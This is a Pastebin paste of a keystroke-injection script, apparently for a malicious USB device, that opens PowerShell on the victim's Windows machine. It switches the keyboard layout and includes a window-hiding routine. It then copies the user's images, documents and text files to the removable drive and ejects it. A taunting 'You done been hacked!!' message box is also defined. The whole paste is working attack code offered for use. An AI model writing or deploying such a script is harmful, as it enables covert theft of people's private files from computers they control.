Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- setTypingSpeedAndLanguage();
- getDriveLetter();
- //hidePS();
- var copying = 0;
- fileCopy();
- while(copying < 6) {
- }
- safelyRemoveUSB();
- type("Set-WinUserLanguageList $originalLanguage\n");
- delay(200);
- type("y\n");
- //type("exit\n");
- function showMessage() {
- type("Add-Type -AssemblyName PresentationCore,PresentationFramework\n");
- type('$MessageBoxTitle = "You done been hacked!!"\n');
- type('$MessageBoxBody = "Haha, you got pwnd!!"\n');
- type('$MessageBoxButton = [System.Windows.MessageBoxButton]::Ok\n');
- type('$MessageIcon = [System.Windows.MessageBoxImage]::Warning\n');
- type('[System.Windows.MessageBox]::Show($MessageBoxBody, $MessageBoxTitle, $MessageBoxButton, $MessageIcon)\n');
- }
- function fileCopy() {
- type('$drives = [System.IO.DriveInfo]::GetDrives()\n');
- type('$r = $drives | Where-Object { $_.DriveType -eq "Removable" -and $_.IsReady }\n');
- type('if ($r) { return @($r)[-1]} throw "No removable drives found"\n');
- type('$user = [Environment]::UserName\n');
- var fileTypes = ["jpg", "png", "doc", "docm", "txt", "pdf"];
- for (var i = 0; i < fileTypes.length; i++) {
- type('$copyFrom = "C:\\Users\\" + $user + "\\*.' + fileTypes[i] + '"\n');
- type('Copy-Item -Path $copyFrom -Destination $r -Recurse -Force\n');
- copying++;
- }
- }
- function hidePS() {
- type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
- press("ENTER");
- }
- function getDriveLetter() {
- type('$driveLetter = Get-WmiObject Win32_Volume -Filter ("DriveType={0}" -f [int][System.IO.DriveType]::Removable)\n');
- type('$usb = $driveLetter.DriveLetter\n');
- }
- function safelyRemoveUSB() {
- type('$Eject = New-Object -comObject Shell.Application');
- press("SHIFT ENTER");
- type('$Eject.NameSpace(17).ParseName($usb).InvokeVerb("Eject")\n');
- }
- function setTypingSpeedAndLanguage() {
- typingSpeed(0, 0);
- layout("DE");
- press("WIN R");
- delay(200);
- type("powershell\n");
- delay(500);
- press("CTRL ALT 4");
- type("originalLanguage = Get-WinUserLanguageList\n");
- type("Set-WinUserLanguageList -LanguageList de-DE -Force");
- press("ENTER");
- delay(500);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement